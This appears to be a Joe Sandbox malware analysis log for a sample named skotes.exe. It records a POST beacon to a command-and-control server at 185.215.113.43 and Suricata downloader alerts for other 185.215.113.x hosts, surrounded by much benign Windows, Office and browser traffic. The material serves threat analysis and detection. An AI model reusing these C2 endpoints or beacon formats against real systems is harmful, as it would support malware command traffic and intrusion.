Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 42 32 37 37 30 42 39 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78BB2770B95182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49788 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49919 -> 185.215.113.16:80

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49932 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 23_2_00EFBE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

23_2_00EFBE30

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Wd6wNsuXDrZyAcf&MD=dGHRz9N3 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732835507&P2=404&P3=2&P4=Mwq2%2b8Y%2bYVI0CE8WReY8CCVacTHQheQC32%2bBdWdTgVn3kO8GOy4%2fF%2biFOxKQlhB%2bstiDFmwjhvSfipk1UkmiRw%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: y+MTFQ7Lgi+/YNXxD0hpA+Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1732230714889&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=306F509DFB216A50056745A3FA536B36&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
